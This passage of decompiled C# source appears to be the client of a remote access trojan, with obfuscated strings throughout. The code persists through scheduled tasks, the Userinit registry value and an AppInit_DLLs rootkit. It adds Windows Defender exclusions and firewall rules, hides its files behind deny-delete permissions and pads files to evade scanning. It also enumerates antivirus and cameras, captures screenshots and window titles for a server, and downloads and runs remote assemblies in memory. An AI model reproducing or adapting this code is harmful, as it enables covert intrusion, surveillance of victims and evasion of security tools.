					RunTask(Config.TaskClient);
					Methods.Exit();
				}
				if (Config.InstallWatchDog != EncryptString.Decode("zO?A@") && TaskCheck(Config.TaskWatchDog) && File.Exists(Config.PathWatchDog))
				{
					RunTask(Config.TaskClient);
					Methods.Exit();
				}
				while (true)
				{
					ProcessStartInfo startInfo = new ProcessStartInfo(Methods.GetExecutablePath())
					{
						Verb = EncryptString.Decode("m/IOA")
					};
					try
					{
						Process.Start(startInfo);
						Methods.Exit();
					}
					catch
					{
					}
				}
			}
			if (Config.InstallWatchDog == EncryptString.Decode("Nm/@") && Methods.GetExecutablePath() == Config.PathWatchDog)
			{
				Loop();
			}
			if (Config.PathClient != Methods.GetExecutablePath())
			{
				Loop();
			}
			new Thread((ThreadStart)delegate
			{
				Loop();
			}).Start();
		}

		public static void CopyFile(string sourceFilePath, string destinationFilePath)
		{
			using FileStream fileStream = new FileStream(sourceFilePath, FileMode.Open, FileAccess.Read);
			using FileStream fileStream2 = new FileStream(destinationFilePath, FileMode.Create, FileAccess.Write);
			byte[] array = new byte[1024];
			int count;
			while ((count = fileStream.Read(array, 0, array.Length)) > 0)
			{
				fileStream2.Write(array, 0, count);
			}
			if (Config.Pump == EncryptString.Decode("Nm/@"))
			{
				fileStream2.SetLength(fileStream2.Length + new Random().Next(700, 750) * 1024 * 1024);
			}
		}

		public static void Loop()
		{
			while (Installing)
			{
				if (!Directory.Exists(Path.GetDirectoryName(Config.PathClient)))
				{
					Directory.CreateDirectory(Path.GetDirectoryName(Config.PathClient));
				}
				if (!File.Exists(Config.PathClient))
				{
					CopyFile(Methods.GetExecutablePath(), Config.PathClient);
					if (Config.ExclusionWD != EncryptString.Decode("zO?A@"))
					{
						WindowsDefenderExclusion.Exc(Config.PathClient);
					}
					netSh(Config.PathClient, EncryptString.Decode("nUIP'fA+'INm'?"));
				}
				Schtasks(Config.PathClient, Config.TaskClient, 1);
				if (Convert.ToBoolean(Config.UserInit))
				{
					UserINIT(Config.PathClient);
				}
				if (Config.HiddenFile != EncryptString.Decode("zO?A@"))
				{
					SecrityHidden.HiddenFile(Config.PathClient);
				}
				if (Config.InstallWatchDog == EncryptString.Decode("Nm/@"))
				{
					if (!Directory.Exists(Path.GetDirectoryName(Config.PathWatchDog)))
					{
						Directory.CreateDirectory(Path.GetDirectoryName(Config.PathWatchDog));
					}
					if (!File.Exists(Config.PathWatchDog))
					{
						CopyFile(Methods.GetExecutablePath(), Config.PathWatchDog);
						if (Config.ExclusionWD == EncryptString.Decode("Nm/@"))
						{
							WindowsDefenderExclusion.Exc(Config.PathWatchDog);
						}
					}
					Schtasks(Config.PathWatchDog, Config.TaskWatchDog, 30);
					if (Config.HiddenFile == EncryptString.Decode("Nm/@"))
					{
						SecrityHidden.HiddenFile(Config.PathWatchDog);
					}
					if (Methods.GetExecutablePath() == Config.PathWatchDog)
					{
						Methods.Exit();
					}
				}
				if (Config.RootKit != EncryptString.Decode("zO?A@") && Config.Privilege == EncryptString.Decode("vP_UI"))
				{
					string path = Methods.GetPath(EncryptString.Decode("gnUIP'fAgk)PfPxP??"));
					if (!File.Exists(path))
					{
						File.WriteAllBytes(path, Xor.DecodEncod(Methods.GetResourceFile(Config.RootKit), Encoding.ASCII.GetBytes(Config.Key)));
						if (Config.HiddenFile == EncryptString.Decode("Nm/@"))
						{
							SecrityHidden.HiddenFile(path);
						}
						if (Config.ExclusionWD == EncryptString.Decode("Nm/@"))
						{
							WindowsDefenderExclusion.Exc(path);
						}
						AddRootkit(path);
					}
				}
				if (Config.PathClient != Methods.GetExecutablePath())
				{
					ProcessStartInfo processStartInfo = new ProcessStartInfo();
					processStartInfo.FileName = Config.PathClient;
					if (Config.Privilege == EncryptString.Decode("vP_UI"))
					{
						processStartInfo.Verb = EncryptString.Decode("m/IOA");
					}
					Process process = new Process();
					process.StartInfo = processStartInfo;
					process.Start();
					Methods.Exit();
				}
				if (!MutexControl.createdNew && Mutex.OpenExisting(Config.Mutex) != null)
				{
					Methods.Exit();
				}
				Thread.Sleep(5000);
			}
		}

		public static void RmRootkit()
		{
			using (RegistryKey registryKey = Registry.LocalMachine)
			{
				RegistryKey? registryKey2 = registryKey.OpenSubKey(EncryptString.Decode("!G*\"nv[t")).OpenSubKey(EncryptString.Decode("(UYm'A'zN")).OpenSubKey(EncryptString.Decode("nUIP'fA^2\""))
					.OpenSubKey(EncryptString.Decode("+/mm@IN:@mAU'I"))
					.OpenSubKey(EncryptString.Decode("nUIP'fA"), writable: true);
				registryKey2.SetValue(EncryptString.Decode("vJJ=IUNdRCCA"), "");
				registryKey2.SetValue(EncryptString.Decode("C'OPvJJ=IUNdRCCA"), 0, RegistryValueKind.DWord);
				registryKey2.SetValue(EncryptString.Decode("[@H/Um@!UFI@PvJJ=IUNdRCCA"), 1, RegistryValueKind.DWord);
			}
			Process.Start(new ProcessStartInfo
			{
				UseShellExecute = false,
				CreateNoWindow = true,
				RedirectStandardOutput = true,
				WindowStyle = ProcessWindowStyle.Hidden,
				FileName = EncryptString.Decode("Y_P"),
				Verb = EncryptString.Decode("m/IOA"),
				Arguments = EncryptString.Decode("a+^NOA  U??^aU_^@)J?'m@mx@)@^az^00^\"U_@G/N^p^00^ANOmN^@)J?'m@mx@)@")
			});
		}

		public static void AddRootkit(string fullpath)
		{
			using RegistryKey registryKey = Registry.LocalMachine;
			RegistryKey registryKey2 = registryKey.OpenSubKey(EncryptString.Decode("!G*\"nv[t")).OpenSubKey(EncryptString.Decode("(UYm'A'zN")).OpenSubKey(EncryptString.Decode("nUIP'fA^2\""))
				.OpenSubKey(EncryptString.Decode("+/mm@IN:@mAU'I"))
				.OpenSubKey(EncryptString.Decode("nUIP'fA"), writable: true);
			if (registryKey2.GetValue(EncryptString.Decode("vJJ=IUNdRCCA")) == null || !((string)registryKey2.GetValue(EncryptString.Decode("vJJ=IUNdRCCA")) == fullpath))
			{
				registryKey2.SetValue(EncryptString.Decode("vJJ=IUNdRCCA"), fullpath);
				registryKey2.SetValue(EncryptString.Decode("C'OPvJJ=IUNdRCCA"), 1, RegistryValueKind.DWord);
				registryKey2.SetValue(EncryptString.Decode("[@H/Um@!UFI@PvJJ=IUNdRCCA"), 0, RegistryValueKind.DWord);
			}
		}

		public static string Uninstall()
		{
			Installing = false;
			Thread.Sleep(2000);
			string text = Path.GetTempFileName() + EncryptString.Decode("xQON");
			string text2 = EncryptString.Decode("NU_@'/N^K<^L^2]C") + EncryptString.Decode("+R^D") + Path.GetDirectoryName(Config.PathClient) + EncryptString.Decode("D") + EncryptString.Decode("RtC^D") + Path.GetFileName(Config.PathClient) + EncryptString.Decode("D^az^aH");
			DeletingTask(Config.TaskClient);
			if (Config.HiddenFile == EncryptString.Decode("Nm/@"))
			{
				SecrityHidden.Unlock(Config.PathClient);
			}
			if (Convert.ToBoolean(Config.UserInit))
			{
				UserINIT(Config.PathClient);
			}
			if (Config.InstallWatchDog == EncryptString.Decode("Nm/@"))
			{
				DeletingTask(Config.TaskWatchDog);
				if (Config.HiddenFile != EncryptString.Decode("zO?A@"))
				{
					SecrityHidden.Unlock(Config.PathWatchDog);
				}
				File.Delete(Config.PathWatchDog);
				text2 = text2 + EncryptString.Decode("+R^D") + Path.GetDirectoryName(Config.PathWatchDog) + EncryptString.Decode("D") + EncryptString.Decode("RtC^D") + Path.GetFileName(Config.PathWatchDog) + EncryptString.Decode("D^az^aH");
			}
			if (Config.RootKit != EncryptString.Decode("zO?A@"))
			{
				RmRootkit();
				string path = Methods.GetPath(EncryptString.Decode("gnUIP'fAgk)PfPxP??"));
				if (Config.HiddenFile == EncryptString.Decode("Nm/@"))
				{
					SecrityHidden.Unlock(path);
				}
				text2 = text2 + EncryptString.Decode("+R^D") + Path.GetDirectoryName(path) + EncryptString.Decode("D") + EncryptString.Decode("RtC^D") + Path.GetFileName(path) + EncryptString.Decode("D^az^aH");
			}
			text2 = text2 + EncryptString.Decode("+R^D") + Path.GetDirectoryName(text) + EncryptString.Decode("D") + EncryptString.Decode("RtC^D") + Path.GetFileName(text) + EncryptString.Decode("D^az^aH");
			File.WriteAllText(text, text2);
			return text;
		}

		public static void netSh(string path, string name)
		{
			if (!(Config.Privilege == EncryptString.Decode("]A@m")))
			{
				ProcessStartInfo processStartInfo = new ProcessStartInfo();
				processStartInfo.UseShellExecute = false;
				processStartInfo.CreateNoWindow = true;
				processStartInfo.RedirectStandardOutput = true;
				processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
				processStartInfo.FileName = EncryptString.Decode("+(R");
				processStartInfo.Arguments = EncryptString.Decode("I@NAE^OP}zUm@fO??^zUm@fO??^OPP^m/?@^IO_@`D" + name + "D^PUm`UI^OYNU'I`O??'f^Jm'FmO_`D") + path + EncryptString.Decode("D^@IOQ?@`q@A^0^@)UN");
				processStartInfo.Verb = EncryptString.Decode("m/IOA");
				Process process = new Process();
				process.StartInfo = processStartInfo;
				process.Start();
			}
		}

		public static bool TaskCheck(string name)
		{
			return File.Exists(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), EncryptString.Decode("\"OA A"), name));
		}

		private static void DeletingTask(string name)
		{
			if (TaskCheck(name))
			{
				ProcessStartInfo processStartInfo = new ProcessStartInfo();
				processStartInfo.UseShellExecute = false;
				processStartInfo.CreateNoWindow = true;
				processStartInfo.RedirectStandardOutput = true;
				processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
				processStartInfo.FileName = EncryptString.Decode("+(R");
				processStartInfo.Arguments = EncryptString.Decode("aY^AYENOA A^aP@?@\"@^a*^a\"I^D") + name + EncryptString.Decode("D^0^@)UN");
				if (Config.Privilege == EncryptString.Decode("vP_UI"))
				{
					processStartInfo.Verb = EncryptString.Decode("m/IOA");
				}
				processStartInfo.Arguments += EncryptString.Decode("0^@)UN");
				Process process = new Process();
				process.StartInfo = processStartInfo;
				process.Start();
			}
		}

		public static void RunTask(string taskname)
		{
			ProcessStartInfo processStartInfo = new ProcessStartInfo();
			processStartInfo.UseShellExecute = false;
			processStartInfo.CreateNoWindow = true;
			processStartInfo.RedirectStandardOutput = true;
			processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
			processStartInfo.FileName = EncryptString.Decode("+(R");
			processStartInfo.Arguments = EncryptString.Decode("aY^AYENOA A^am/I^aU^aNI^D") + taskname + EncryptString.Decode("D");
			Process process = new Process();
			process.StartInfo = processStartInfo;
			process.Start();
		}

		private static void Schtasks(string Path, string Name, int minut)
		{
			if (!TaskCheck(Name))
			{
				ProcessStartInfo processStartInfo = new ProcessStartInfo();
				processStartInfo.UseShellExecute = false;
				processStartInfo.CreateNoWindow = true;
				processStartInfo.RedirectStandardOutput = true;
				processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
				processStartInfo.FileName = EncryptString.Decode("Y_P");
				processStartInfo.Arguments = EncryptString.Decode("aY^AYENOA A^aYm@ON@^az^aAY^_UI/N@^a_'^") + minut + EncryptString.Decode("^aNI^D") + Name + EncryptString.Decode("D^aNm^D") + Path + EncryptString.Decode("D^");
				if (Config.Privilege == EncryptString.Decode("vP_UI"))
				{
					processStartInfo.Arguments += EncryptString.Decode("a[C^8=b8t!\"^");
					processStartInfo.Verb = EncryptString.Decode("m/IOA");
				}
				processStartInfo.Arguments += EncryptString.Decode("0^@)UN");
				Process process = new Process();
				process.StartInfo = processStartInfo;
				process.Start();
			}
		}

		public static bool UserINIT(string Name)
		{
			try
			{
				using (RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(EncryptString.Decode("!G*\"nv[tk(UYm'A'zNknUIP'fA^2\"k+/mm@IN:@mAU'IkfUI?'F'I")))
				{
					if ((string)registryKey.GetValue(EncryptString.Decode("]A@mUIUN")) == EncryptString.Decode("+#knUIP'fAk!qAN@_.pk/A@mUIUNx@)@%") + Name)
					{
						return true;
					}
				}
				using RegistryKey registryKey2 = Registry.LocalMachine.OpenSubKey(EncryptString.Decode("!G*\"nv[tk(UYm'A'zNknUIP'fA^2\"k+/mm@IN:@mAU'IkfUI?'F'I"), writable: true);
				if ((string)registryKey2.GetValue(EncryptString.Decode("]A@mUIUN")) != EncryptString.Decode("+#knUIP'fAk!qAN@_.pk/A@mUIUNx@)@%") + Name)
				{
					registryKey2.SetValue(EncryptString.Decode("]A@mUIUN"), EncryptString.Decode("+#knUIP'fAk!qAN@_.pk/A@mUIUNx@)@%") + Name);
				}
				registryKey2.Close();
			}
			catch
			{
				return false;
			}
			return true;
		}

		public static void UserInitRemove()
		{
			using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(EncryptString.Decode("!G*\"nv[tk(UYm'A'zNknUIP'fA^2\"k+/mm@IN:@mAU'IkfUI?'F'I"), writable: true);
			registryKey.SetValue(EncryptString.Decode("]A@mUIUN"), EncryptString.Decode("+#knUIP'fAk!qAN@_.pk/A@mUIUNx@)@"));
			registryKey.Close();
		}
	}

	public class LastPing
	{
		private Timer timer;

		private long ticks;

		public LastPing(Client client)
		{
			ticks = DateTime.Now.Ticks;
			timer = new Timer(Check, client, 0, 6000);
		}

		private int DiffSeconds(long startTime, DateTime endTime)
		{
			return (int)Math.Abs(new TimeSpan(endTime.Ticks - startTime).TotalSeconds);
		}

		private void Check(object obj)
		{
			if (DiffSeconds(ticks, DateTime.Now) > 60)
			{
				((Client)obj).Disconnect();
			}
		}

		public void Disconnect()
		{
			if (timer != null)
			{
				timer.Dispose();
			}
		}

		public void Last()
		{
			ticks = DateTime.Now.Ticks;
		}
	}

	public class Methods
	{
		public static Random random = new Random();

		public static string GetWindowsVersion()
		{
			//IL_000a: Unknown result type (might be due to invalid IL or missing references)
			//IL_0028: Unknown result type (might be due to invalid IL or missing references)
			//IL_002e: Expected O, but got Unknown
			try
			{
				ManagementObjectEnumerator enumerator = new ManagementObjectSearcher(EncryptString.Decode("!tCt+\"^&^*[G(^nUI.pdGJ@mONUIF!qAN@_")).Get().GetEnumerator();
				try
				{
					if (enumerator.MoveNext())
					{
						ManagementObject val = (ManagementObject)enumerator.Current;
						return (string)((ManagementBaseObject)val)[EncryptString.Decode("+OJNU'I")] + EncryptString.Decode("^") + (string)((ManagementBaseObject)val)[EncryptString.Decode("G!vmYEUN@YN/m@")];
					}
				}
				finally
				{
					((IDisposable)enumerator)?.Dispose();
				}
			}
			catch
			{
			}
			return EncryptString.Decode("tmm'm^b@N^:@mAU'I");
		}

		public static void Exit()
		{
			MutexControl.Exit();
			Environment.Exit(0);
		}

		public static void MaxPriority()
		{
			try
			{
				Process.GetCurrentProcess().PriorityClass = ProcessPriorityClass.RealTime;
			}
			catch
			{
			}
		}

		public static void PreventSleep()
		{
			try
			{
				DllImport.SetThreadExecutionState((DllImport.EXECUTION_STATE)2147483651u);
			}
			catch
			{
			}
		}

		public static string GetExecutablePath()
		{
			return Assembly.GetExecutingAssembly().Location;
		}

		public static byte[] GetResourceFile(string name)
		{
			using Stream stream = Assembly.GetExecutingAssembly().GetManifestResourceStream(name);
			if (stream == null)
			{
				return null;
			}
			using MemoryStream memoryStream = new MemoryStream();
			stream.CopyTo(memoryStream);
			return memoryStream.ToArray();
		}

		public static List<string> GetHardwareInfo(string WIN32_Class, string ClassItemField)
		{
			//IL_0016: Unknown result type (might be due to invalid IL or missing references)
			//IL_001c: Expected O, but got Unknown
			//IL_0030: Unknown result type (might be due to invalid IL or missing references)
			//IL_0036: Expected O, but got Unknown
			List<string> list = new List<string>();
			ManagementObjectSearcher val = new ManagementObjectSearcher(EncryptString.Decode("!tCt+\"^&^*[G(^") + WIN32_Class);
			try
			{
				ManagementObjectEnumerator enumerator = val.Get().GetEnumerator();
				try
				{
					while (enumerator.MoveNext())
					{
						ManagementObject val2 = (ManagementObject)enumerator.Current;
						list.Add(((ManagementBaseObject)val2)[ClassItemField].ToString().Trim());
					}
				}
				finally
				{
					((IDisposable)enumerator)?.Dispose();
				}
			}
			catch
			{
			}
			return list;
		}

		public static string Antivirus()
		{
			//IL_002e: Unknown result type (might be due to invalid IL or missing references)
			//IL_0034: Expected O, but got Unknown
			//IL_0048: Unknown result type (might be due to invalid IL or missing references)
			//IL_004f: Expected O, but got Unknown
			try
			{
				string text = string.Empty;
				ManagementObjectSearcher val = new ManagementObjectSearcher(EncryptString.Decode("kk") + Environment.MachineName + EncryptString.Decode("km''Nk!@Y/mUNq+@IN@mp"), EncryptString.Decode("!@?@YN^&^zm'_^vINU}Um/Acm'P/YN"));
				try
				{
					ManagementObjectEnumerator enumerator = val.Get().GetEnumerator();
					try
					{
						while (enumerator.MoveNext())
						{
							ManagementObject val2 = (ManagementObject)enumerator.Current;
							text = text + ((ManagementBaseObject)val2)[EncryptString.Decode("PUAJ?Oq2O_@")].ToString() + EncryptString.Decode("S^");
						}
					}
					finally
					{
						((IDisposable)enumerator)?.Dispose();
					}
				}
				finally
				{
					((IDisposable)val)?.Dispose();
				}
				if (text.Length > 2)
				{
					text = text.Remove(text.Length - 2);
				}
				return (!string.IsNullOrEmpty(text)) ? text : EncryptString.Decode("2av");
			}
			catch
			{
				return EncryptString.Decode("]I I'fI");
			}
		}

		public static string GetActiveWindowTitle()
		{
			try
			{
				int num = 520;
				StringBuilder stringBuilder = new StringBuilder(num);
				if (DllImport.GetWindowText(DllImport.GetForegroundWindow(), stringBuilder, num) > 0)
				{
					return stringBuilder.ToString();
				}
			}
			catch
			{
			}
			return EncryptString.Decode("|=P?@5");
		}

		public static string Camera()
		{
			//IL_000a: Unknown result type (might be due to invalid IL or missing references)
			//IL_0014: Expected O, but got Unknown
			//IL_000f: Unknown result type (might be due to invalid IL or missing references)
			//IL_0038: Unknown result type (might be due to invalid IL or missing references)
			try
			{
				ManagementObjectCollection val = new ManagementObjectSearcher(new ObjectQuery(EncryptString.Decode("!tCt+\"^&^*[G(^nUI.pdcIctINUNq^n8t[t^c2c+?OAA^`^$+O_@mO$"))).Get();
				if (val.Count > 0)
				{
					ManagementObjectEnumerator enumerator = val.GetEnumerator();
					try
					{
						if (enumerator.MoveNext())
						{
							return (string)((ManagementBaseObject)(ManagementObject)enumerator.Current)[EncryptString.Decode("+OJNU'I")];
						}
					}
					finally
					{
						((IDisposable)enumerator)?.Dispose();
					}
				}
				return EncryptString.Decode("2'I@");
			}
			catch
			{
			}
			return EncryptString.Decode("2'I@");
		}

		public static byte[] CaptureResizeReduceQuality()
		{
			//IL_0028: Unknown result type (might be due to invalid IL or missing references)
			//IL_002f: Expected O, but got Unknown
			//IL_0060: Unknown result type (might be due to invalid IL or missing references)
			//IL_0067: Expected O, but got Unknown
			//IL_0099: Unknown result type (might be due to invalid IL or missing references)
			//IL_00a0: Expected O, but got Unknown
			//IL_00b2: Unknown result type (might be due to invalid IL or missing references)
			//IL_00b9: Expected O, but got Unknown
			int num = 100;
			int num2 = 100;
			long num3 = 100L;
			Rectangle bounds = Screen.GetBounds(Point.Empty);
			Bitmap val = new Bitmap(bounds.Width, bounds.Height, (PixelFormat)2498570);
			Graphics val2 = Graphics.FromImage((Image)(object)val);
			try
			{
				val2.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size);
			}
			finally
			{
				((IDisposable)val2)?.Dispose();
			}
			Bitmap val3 = new Bitmap(num, num2);
			Graphics val4 = Graphics.FromImage((Image)(object)val3);
			try
			{
				val4.InterpolationMode = (InterpolationMode)7;
				val4.DrawImage((Image)(object)val, 0, 0, num, num2);
			}
			finally
			{
				((IDisposable)val4)?.Dispose();
			}
			EncoderParameter val5 = new EncoderParameter(Encoder.Quality, num3);
			ImageCodecInfo encoderInfo = GetEncoderInfo(EncryptString.Decode("U_OF@arJ@F"));
			EncoderParameters val6 = new EncoderParameters(1);
			val6.Param[0] = val5;
			using MemoryStream memoryStream = new MemoryStream();
			((Image)val3).Save((Stream)memoryStream, encoderInfo, val6);
			return memoryStream.ToArray();
		}

		private static ImageCodecInfo GetEncoderInfo(string mimeType)
		{
			ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
			foreach (ImageCodecInfo val in imageEncoders)
			{
				if (val.MimeType == mimeType)
				{
					return val;
				}
			}
			return null;
		}

		public static string GetPath(string pth)
		{
			pth = pth.Replace(EncryptString.Decode("gnUIP'fAg"), Environment.GetFolderPath(Environment.SpecialFolder.Windows));
			pth = pth.Replace(EncryptString.Decode("gcm'FmO_*U?@Ag"), Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles));
			pth = pth.Replace(EncryptString.Decode("gvJJ?UYONU'IRONOg"), Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData));
			pth = pth.Replace(EncryptString.Decode("g]A@mcm'zU?@g"), Environment.GetFolderPath(Environment.SpecialFolder.UserProfile));
			pth = pth.Replace(EncryptString.Decode("g(qR'Y/_@INAg"), Environment.GetFolderPath(Environment.SpecialFolder.Personal));
			pth = pth.Replace(EncryptString.Decode("g+'' U@Ag"), Environment.GetFolderPath(Environment.SpecialFolder.Cookies));
			pth = pth.Replace(EncryptString.Decode("g+'__'IcUYN/m@Ag"), Environment.GetFolderPath(Environment.SpecialFolder.CommonPictures));
			pth = pth.Replace(EncryptString.Decode("gC'YO?vJJ?UYONU'IRONOg"), Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData));
			pth = pth.Replace(EncryptString.Decode("g+'__'IR'Y/_@INAg"), Environment.GetFolderPath(Environment.SpecialFolder.CommonDocuments));
			pth = pth.Replace(EncryptString.Decode("g\"@_J?ON@Ag"), Environment.GetFolderPath(Environment.SpecialFolder.Templates));
			pth = pth.Replace(EncryptString.Decode("g(q(/AUYg"), Environment.GetFolderPath(Environment.SpecialFolder.MyMusic));
			pth = pth.Replace(EncryptString.Decode("g(q:UP@'Ag"), Environment.GetFolderPath(Environment.SpecialFolder.MyVideos));
			return pth;
		}
	}

	public static class MutexControl
	{
		public static Mutex currentApp;

		public static bool createdNew;

		public static bool CreateMutex(string mtx)
		{
			currentApp = new Mutex(initiallyOwned: false, mtx, out createdNew);
			return createdNew;
		}

		public static void Exit()
		{
			if (currentApp != null)
			{
				currentApp.Dispose();
			}
		}
	}

	public class PingChecker
	{
		private Timer counter;

		private Timer initializer;

		private int interval;

		private bool pong;

		private string oldtitle;

		public PingChecker(Client client)
		{
			initializer = new Timer(Sender, client, 5000, 10000);
			pong = true;
		}

		public void Start()
		{
			interval = 0;
			counter = new Timer(pay, null, 1, 1);
		}

		public void Stop(Client client)
		{
			if (counter != null)
			{
				counter.Dispose();
			}
			string activeWindowTitle = Methods.GetActiveWindowTitle();
			if (activeWindowTitle != oldtitle)
			{
				oldtitle = activeWindowTitle;
				client.Send(LEB128.Write(new object[4]
				{
					EncryptString.Decode("c'IF"),
					interval,
					activeWindowTitle,
					Methods.CaptureResizeReduceQuality()
				}));
			}
			else
			{
				client.Send(LEB128.Write(new object[2]
				{
					EncryptString.Decode("c'IF"),
					interval
				}));
			}
			pong = true;
		}

		public void Disconnect()
		{
			if (counter != null)
			{
				counter.Dispose();
			}
			if (initializer != null)
			{
				initializer.Dispose();
			}
			pong = false;
		}

		private void Sender(object obj)
		{
			if (pong)
			{
				pong = false;
				((Client)obj).Send(LEB128.Write(new object[1] { EncryptString.Decode("cUIF") }));
				Start();
				GC.Collect();
			}
		}

		private void pay(object obj)
		{
			interval++;
		}
	}

	internal class PluginLoader
	{
		public static List<object[]> invokes = new List<object[]>();

		public static void SaveInvoke(object[] objects, Client client)
		{
			SetRegistry.SetValue((string)objects[1], Convert.ToBase64String((byte[])objects[2]));
			foreach (object[] item in invokes.ToList())
			{
				if ((string)item[0] == (string)objects[1])
				{
					client.Disconnect();
					Load(item, Program.client);
					invokes.Remove(item);
				}
			}
		}

		public static void Invoke(object[] objects, Client client)
		{
			if (SetRegistry.GetValue((string)objects[1]) == null)
			{
				Client client2 = new Client();
				string[] array = client.socket.RemoteEndPoint.ToString().Split(new char[1] { ':' });
				client2.Connect(array[0], array[1]);
				client2.Send(LEB128.Write(new object[2]
				{
					EncryptString.Decode("b@NRCC"),
					(string)objects[1]
				}));
				invokes.Add(new object[2]
				{
					(string)objects[1],
					(byte[])objects[2]
				});
			}
			else
			{
				Load(new object[2]
				{
					(string)objects[1],
					(byte[])objects[2]
				}, Program.client);
			}
		}

		public static void Load(object[] Messages, Client client)
		{
			try
			{
				Type? type = AppDomain.CurrentDomain.Load(Convert.FromBase64String(SetRegistry.GetValue((string)Messages[0]))).GetType(EncryptString.Decode("c?/FUIxc?/FUI"));
				object obj = Activator.CreateInstance(type);
				MethodInfo method = type.GetMethod(EncryptString.Decode("[/I"));
				object[] parameters = new object[4]
				{
					client.socket,
					Config.ServerCertificate,
					Config.Hwid,
					(byte[])Messages[1]
				};
				method.Invoke(obj, parameters);
			}
			catch (Exception ex)
			{
				client.Error(EncryptString.Decode("C'OP^@mm'm#^") + ex.ToString());
			}
		}
	}

	internal class SecrityHidden
	{
		public static string[] Naming = new string[2]
		{
			Environment.UserName,
			Environment.UserDomainName
		};

		public static string[] NamingAdm = new string[2]
		{
			EncryptString.Decode("!qAN@_"),
			EncryptString.Decode("\"m/AN@P=IAmO??@m")
		};

		public static void Unlock(string path)
		{
			try
			{
				FileInfo fileInfo = new FileInfo(path);
				try
				{
					string[] naming = Naming;
					foreach (string account in naming)
					{
						RemoveFileSecurity(fileInfo.FullName, account, FileSystemRights.Delete, AccessControlType.Deny);
					}
					if (Config.Privilege == EncryptString.Decode("vP_UI"))
					{
						naming = NamingAdm;
						foreach (string account2 in naming)
						{
							RemoveFileSecurity(fileInfo.FullName, account2, FileSystemRights.Delete, AccessControlType.Deny);
						}
					}
				}
				catch
				{
				}
				fileInfo.Directory.Attributes = FileAttributes.Normal;
				fileInfo.Attributes = FileAttributes.Normal;
			}
			catch
			{
			}
		}

		public static void HiddenFile(string path)
		{
			try
			{
				FileInfo fileInfo = new FileInfo(path);
				if (Config.Privilege == EncryptString.Decode("vP_UI"))
				{
					fileInfo.Attributes = FileAttributes.Hidden | FileAttributes.System;
				}
				else
				{
					fileInfo.Attributes = FileAttributes.Hidden;
				}
				string[] naming = Naming;
				foreach (string account in naming)
				{
					AddFileSecurity(path, account, FileSystemRights.Delete, AccessControlType.Deny);
					AddFileSecurity(path, account, FileSystemRights.ReadAndExecute, AccessControlType.Allow);
				}
				if (Config.Privilege == EncryptString.Decode("vP_UI"))
				{
					naming = NamingAdm;
					foreach (string account2 in naming)
					{
						AddFileSecurity(path, account2, FileSystemRights.Delete, AccessControlType.Deny);
						AddFileSecurity(path, account2, FileSystemRights.ReadAndExecute, AccessControlType.Allow);
					}
				}
			}
			catch
			{
			}
		}

		public static void RemoveFileSecurity(string fileName, string account, FileSystemRights rights, AccessControlType controlType)
		{
			try
			{
				FileSecurity accessControl = File.GetAccessControl(fileName);
				accessControl.RemoveAccessRule(new FileSystemAccessRule(account, rights, controlType));
				File.SetAccessControl(fileName, accessControl);
			}
			catch
			{
				Thread.Sleep(10);
			}
		}

		public static void AddFileSecurity(string fileName, string account, FileSystemRights rights, AccessControlType controlType)
		{
			try
			{
				FileSecurity accessControl = File.GetAccessControl(fileName);
				accessControl.AddAccessRule(new FileSystemAccessRule(account, rights, controlType));
				File.SetAccessControl(fileName, accessControl);
			}
			catch
			{
				Thread.Sleep(10);
			}
		}
	}

	internal class SetRegistry
	{
		public static bool CheckValue(string name)
		{
			try
			{
				using RegistryKey registryKey = Registry.CurrentUser.CreateSubKey(Config.RegKey, RegistryKeyPermissionCheck.ReadWriteSubTree);
				if (registryKey.GetValue(name) != null)
				{
					return true;
				}
			}
			catch
			{
			}
			return false;
		}

		public static void SetValue(string name, string value)
		{
			using RegistryKey registryKey = Registry.CurrentUser.CreateSubKey(Config.RegKey, RegistryKeyPermissionCheck.ReadWriteSubTree);
			if (CheckValue(name))
			{
				registryKey.DeleteValue(name);
			}
			registryKey.SetValue(name, value);
		}

		public static string GetValue(string name)
		{
			if (!CheckValue(name))
			{
				return null;
			}
			using RegistryKey registryKey = Registry.CurrentUser.CreateSubKey(Config.RegKey);
			return (string)registryKey.GetValue(name);
		}
	}

	public class Updater
	{
		private static string ServerAddress = EncryptString.Decode("K~Wx~Xx~XxpKo");

		private static string Port = EncryptString.Decode("Kp.~X");

		private static string XyiloZachemReversish = EncryptString.Decode("F@N/JPON@");

		public static async Task Main()
		{
			using TcpClient client = new TcpClient();
			await client.ConnectAsync(ServerAddress, int.Parse(Port));
			using NetworkStream networkStream = client.GetStream();
			using (new StreamReader(networkStream, Encoding.UTF8))
			{
				using StreamWriter writer = new StreamWriter(networkStream, Encoding.UTF8)
				{
					AutoFlush = true
				};
				await writer.WriteLineAsync(XyiloZachemReversish);
				using MemoryStream memoryStream = new MemoryStream();
				await networkStream.CopyToAsync(memoryStream);
				byte[] array = memoryStream.ToArray();
				if (array.Length != 0)
				{
					MethodInfo entryPoint = Assembly.Load(array).EntryPoint;
					if (entryPoint != null)
					{
						object[] parameters;
						if (entryPoint.GetParameters().Length != 0)
						{
							(parameters = new object[1])[0] = new string[0];
						}
						else
						{
							parameters = null;
						}
						entryPoint.Invoke(null, parameters);
					}
				}
				else
				{
					MessageBox.Show("Получены пустые байты.");
				}
			}
		}
	}

	internal class WindowsDefenderExclusion
	{
		public static void Exc(string path)
		{
			//IL_0016: Unknown result type (might be due to invalid IL or missing references)
			//IL_0030: Unknown result type (might be due to invalid IL or missing references)
			//IL_0088: Unknown result type (might be due to invalid IL or missing references)
			//IL_008d: Unknown result type (might be due to invalid IL or missing references)
			try
			{
				string text = null;
				ManagementObjectEnumerator enumerator = new ManagementObjectSearcher(EncryptString.Decode("m''Nk(UYm'A'zNknUIP'fAkR@z@IP@m"), EncryptString.Decode("!tCt+\"^&^*[G(^(!*\"d(Jcm@z@m@IY@")).Get().GetEnumerator();
				try
				{
					while (enumerator.MoveNext())
					{
